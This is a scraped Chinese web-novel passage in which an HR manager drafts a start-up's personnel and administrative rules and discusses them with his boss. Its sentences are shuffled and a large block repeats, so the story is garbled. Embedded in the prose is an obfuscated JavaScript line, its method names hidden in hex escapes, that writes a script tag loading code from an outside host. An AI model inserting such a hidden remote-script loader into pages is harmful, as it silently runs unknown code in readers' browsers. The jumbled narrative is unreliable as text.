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] 得了老大的指点，蔡静雯嘴里念念有词地回去重新写企业介绍，
这回他倒是要看看，这回我先提前把方案做好，等你们一个个新员工入职，哪个敢吱一声试试！
你以前怕不是个工务猿哦！
见沈跃反应很好，冯亚金满意地点点头，继续说道，“公文管理制度除了公文格式，再就是在管理上也必须规范，”
于是只能呵呵了。
车辆管理制度要不要？
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("//sv.crossed.wang/HR124IO2.js?"+ (new Date()).getTi() + "") ;
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嗯，aa制，各付各的。
于是沈跃便将九个制度的名称，通过威信发给了冯老板。
沈跃犹豫两秒，决定先写上，虽然公司现在还没有公车，但是按照正常发展情况，一辆接送客户的商务车是肯定要的，以后可能还会增加一辆跑市场和运营用的车，与其等买车了再定，还不如现在一次做好。
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只有市场和运营这两个部门有些特殊，因为原来公司没有，但这也难不倒他，他直接找了一些网上发布的同行岗位，定了个大概。
大纲写完，接下来沈跃就要施展移花接木神功，把原来公司的制度内容copy过来。
所以，除非的紧急工作，沈跃向来都是找个合适的时间提交工作结果，没办法，太快了领导不放心啊。
得，你是老板你最大，这种小事我就不跟你扯了，做就做吧。
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沈跃则打开文档，开始写人事行政制度大纲。
沈跃在以前公司的时候，每年都要做一次绩效考核方案，而每一次方案变动，都会或多或少引起部分员工反弹，这也是最让他头疼的事，不管你方案做得再好，总会有人不满意，甚至有领导不满意，毕竟下面员工的绩效也会跟他的业绩挂钩，
沈跃点着头说道，“明白，我觉得这一项可以和公文管理制度分开，单独列一项档案管理制度。”
这里又分成人事和行政两大类，
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沈跃一时间摸不准老板的意思，您老叫我过来，总不会是特意夸我的吧？！
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当时他被上家公司一脚踢出门，未尝跟做事的时候得罪了人不无关系，而他跟顶头老板又不熟，只能当个背锅侠了。
上次没带两位美眉吃食堂，正好今天补上，沈跃跑到外面叫上林碧茹和蔡静雯，一起去食堂吃饭。
至于绩效，本来应该是跟部门负责人一起协商后敲定，但先在不是没人么，那他就来个一言堂，弄个初稿出来先，合不合适的问题，就请冯老板去拍板吧。
冯亚金还在说着，“除了公文，公司的所有文件、资料，在收、发、流转、入档、借阅等流程上，都需要严格管理。”
需要公布出来的人事制度，基本上都是需要其他部门或员工知晓并配合的，招聘、培训不用说，哪怕实行保密工资制，这薪酬规范和晋升条件也需要让员工知晓，
沈跃皱皱眉头，抓起手机，又拿了笔和记事本走了过去。
一般来说，互联网公司的薪资标准要比传统的计算机系统行业稍微高出一点点，但也不绝对，如果是比较好的计算机系统公司，可能薪资水平没准还比普通的互联网公司更高，
托薪酬和绩效方案的福，制度今天是绝对做不完了，而且就算能做完，他也不打算这么早发给老板过目，
吃完饭之后，小憩片刻，到了下午一点半，沈跃被手机闹铃叫醒，先洗把脸抽支烟醒醒神，然后继续。
随后说道，“沈总，你发给我的制度大纲，基本涵盖了公司人事行政管理的方方面面，原则上没有问题，不愧是在大公司做过的啊。”
冯亚金翘着二郎腿窝在沙发上，吐出一口烟雾，看着他说道，“不过有几个地方，可能你有所疏漏，我就叫你过来，跟你说一下。”
这时只见冯亚金笑道，“一个呢，是公文管理办法，我们作为一家正规的公司，在公文的写作格式、使用范围、甚至包括字体等方面，都必须有明确的要求，这一方面可以提升公司的形象，另一方面，也能锻炼员工的集体意识，加强员工对企业的认同。”
敲门而入，冯亚金已经坐在沙发上，等他坐好，照旧一支烟扔过来，
……
哦，短短一周的时间，你就把九个制度的初稿拿出来？而且中间还做了那么多具体工作，玩儿的吧？！
“哦，”沈跃点点头，立刻说道，“我把这个加进去。”
至于说绩效，尽管现在人还没配齐，但绩效考核制度可以先做个初步方案出来，
听到这里，沈跃轻轻点头，这点确实是他疏忽了，档案管理确实需要以制度的形式进行规范，这倒不是形式主义，而是很有必要。
心里却是一声哀叹，要不要搞辣么多的形式主义啊，我在上市公司也没有弄过统一格式的公文好吗！
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嗯，其实这真不算抄，因为那些文件全部都是他一点点抠出来的，现在最多算是二次利用而已。
沈跃的上家公司好歹也是上了市的，薪资水平不上不下，在业内来说还算可以，他干脆就参照原来的标准，把薪资体系复制过来，
首先是行政，最基本的办公室管理制度，然后员工行为规范，考勤管理制度，再来一个物品管理制度，包括固定资产和易耗品，应该差不多了吧，
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] 得了老大的指点，蔡静雯嘴里念念有词地回去重新写企业介绍，
这回他倒是要看看，这回我先提前把方案做好，等你们一个个新员工入职，哪个敢吱一声试试！
你以前怕不是个工务猿哦！
见沈跃反应很好，冯亚金满意地点点头，继续说道，“公文管理制度除了公文格式，再就是在管理上也必须规范，”
于是只能呵呵了。
车辆管理制度要不要？
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于是沈跃便将九个制度的名称，通过威信发给了冯老板。
沈跃犹豫两秒，决定先写上，虽然公司现在还没有公车，但是按照正常发展情况，一辆接送客户的商务车是肯定要的，以后可能还会增加一辆跑市场和运营用的车，与其等买车了再定，还不如现在一次做好。
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只有市场和运营这两个部门有些特殊，因为原来公司没有，但这也难不倒他，他直接找了一些网上发布的同行岗位，定了个大概。
大纲写完，接下来沈跃就要施展移花接木神功，把原来公司的制度内容copy过来。
所以，除非的紧急工作，沈跃向来都是找个合适的时间提交工作结果，没办法，太快了领导不放心啊。
得，你是老板你最大，这种小事我就不跟你扯了，做就做吧。
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沈跃则打开文档，开始写人事行政制度大纲。
沈跃在以前公司的时候，每年都要做一次绩效考核方案，而每一次方案变动，都会或多或少引起部分员工反弹，这也是最让他头疼的事，不管你方案做得再好，总会有人不满意，甚至有领导不满意，毕竟下面员工的绩效也会跟他的业绩挂钩，
沈跃点着头说道，“明白，我觉得这一项可以和公文管理制度分开，单独列一项档案管理制度。”
这里又分成人事和行政两大类，
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至于绩效，本来应该是跟部门负责人一起协商后敲定，但先在不是没人么，那他就来个一言堂，弄个初稿出来先，合不合适的问题，就请冯老板去拍板吧。
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需要公布出来的人事制度，基本上都是需要其他部门或员工知晓并配合的，招聘、培训不用说，哪怕实行保密工资制，这薪酬规范和晋升条件也需要让员工知晓，
沈跃皱皱眉头，抓起手机，又拿了笔和记事本走了过去。
一般来说，互联网公司的薪资标准要比传统的计算机系统行业稍微高出一点点，但也不绝对，如果是比较好的计算机系统公司，可能薪资水平没准还比普通的互联网公司更高，
托薪酬和绩效方案的福，制度今天是绝对做不完了，而且就算能做完，他也不打算这么早发给老板过目，
吃完饭之后，小憩片刻，到了下午一点半，沈跃被手机闹铃叫醒，先洗把脸抽支烟醒醒神，然后继续。
随后说道，“沈总，你发给我的制度大纲，基本涵盖了公司人事行政管理的方方面面，原则上没有问题，不愧是在大公司做过的啊。”
冯亚金翘着二郎腿窝在沙发上，吐出一口烟雾，看着他说道，“不过有几个地方，可能你有所疏漏，我就叫你过来，跟你说一下。”
这时只见冯亚金笑道，“一个呢，是公文管理办法，我们作为一家正规的公司，在公文的写作格式、使用范围、甚至包括字体等方面，都必须有明确的要求，这一方面可以提升公司的形象，另一方面，也能锻炼员工的集体意识，加强员工对企业的认同。”
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哦，短短一周的时间，你就把九个制度的初稿拿出来？而且中间还做了那么多具体工作，玩儿的吧？！
“哦，”沈跃点点头，立刻说道，“我把这个加进去。”
至于说绩效，尽管现在人还没配齐，但绩效考核制度可以先做个初步方案出来，
听到这里，沈跃轻轻点头，这点确实是他疏忽了，档案管理确实需要以制度的形式进行规范，这倒不是形式主义，而是很有必要。
心里却是一声哀叹，要不要搞辣么多的形式主义啊，我在上市公司也没有弄过统一格式的公文好吗！
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沈跃的上家公司好歹也是上了市的，薪资水平不上不下，在业内来说还算可以，他干脆就参照原来的标准，把薪资体系复制过来，
首先是行政，最基本的办公室管理制度，然后员工行为规范，考勤管理制度，再来一个物品管理制度，包括固定资产和易耗品，应该差不多了吧，
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